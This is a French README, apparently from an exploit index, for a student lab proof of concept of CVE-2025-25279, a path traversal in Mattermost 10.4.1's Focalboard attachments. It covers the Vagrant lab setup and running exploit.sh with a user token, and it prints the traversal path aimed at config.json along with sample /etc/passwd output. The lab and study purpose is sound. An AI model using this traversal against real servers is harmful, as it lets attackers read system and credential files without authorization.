Share
## https://sploitus.com/exploit?id=1881F5C8-F5E2-56CB-89D8-19EF832AEA63
# 🔥 CVE-2025-25279 — Mattermost 10.4.1  
## 📤 Path Traversal dans Focalboard permettant l’exfiltration de fichiers

## 🌟 Présentation

Cette preuve de concept démontre l’exploitation de la vulnérabilité **CVE-2025-25279** affectant **Mattermost 10.4.1**.  
Une faille dans **Focalboard** (le module de gestion de tableaux) permet une **lecture arbitraire de fichiers** via un **path traversal dans les attachments**.

L’exploit permet d’exfiltrer :

- `/etc/passwd`  
- `/etc/group`  
- ou des fichiers sensibles de Mattermost, par exemple :  
  `opt/mattermost/config/config.json`

L’attaque fonctionne **uniquement avec un compte utilisateur authentifié** dans les scénarios vulnérables.

---

## 🗂️ Organisation des répertoires

- **📁 target** : répertoire de création de la box cible
- **📁 live** : répertoire de création de VM(s) cible(s) et de démonstration de l'exploit
- **📁 src** : éventuel code source auxiliaire
- **📁 refs** : répertoire contenant les articles et la bibliographie
- **📁 docs** : documents associés produits lors du projet, y compris les enregistrements vidéo


---

## 🔧 Pré-requis

- **Vagrant**  
- **VirtualBox**  
- **Jeu de fichiers du projet (target + live)**  
- **Un compte Mattermost (PAT = Personal Access Token)**  
- Linux/Mac/Windows avec Bash

---
## Avant de déployer la VM
D'abord allez dans le repertoire target et faire:
```bash
cd target
make mattermost.box
```

Assurez vous d'avoir la box mattermost-poc sinon la VM ne marche pas:
```bash
cd cve-2025-25279-mattermost
vagrant box add mattermost-poc target/mattermost.box
```
## 1. Déploiement de la machine vulnérable

#### Lancer la VM

```bash
cd live/vm1
vagrant up
```
Se connecter à la VM
```bash
 vagrant ssh
```
#### créer un utilisateur dans l'interface web :
ouvrir: http://localhost:8065

#### créer un token dans UI (interface utilisateur):
 **Profil --> Security --> Personal Access Tokens**

### 2. Installation de l’exploit
Depuis la machine hôte :
```bash
cd live/share
sudo apt-get update -y
sudo apt-get install -y unzip

chmod +x exploit.sh

```
### 3. Exécuter l'exploit
```bash
./exploit.sh
```
On vous demandera :
```bash
PAT (Personal Access Token) :
```
👉 Entrez un PAT valide d’un utilisateur Mattermost.

📸 Exemple de sortie (exfiltration de /etc/passwd)
```bash
===== CONTENU (début) =====
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
mattermost:x:999:996::/opt/mattermost:/bin/sh
```

**Fichier ciblé : config.json**

Pour viser un fichier Mattermost sensible :

Modifier en haut du script exploit.sh :
```bash
TARGET_SUFFIX="opt/mattermost/config/config.json"
TRAVERSAL_PATH='../../../../../../../opt/mattermost/config/config.json'
L’exploit affichera alors le contenu du fichier config.json.
```
## ✒️ Auteurs

🟢 **MAHAMMAD MOUSSE Abokor**
🔵 **PARNET cyril**


🎬 **Démonstration vidéo**

👉 Une démonstration complète en vidéo se trouve dans :
live/Démonstration/video-poc-cve-2025-25279.mp4

🧩 Notes

Ce PoC est strictement destiné aux environnements d'apprentissage.
Ne jamais utiliser hors cadre pédagogique ou sans autorisation.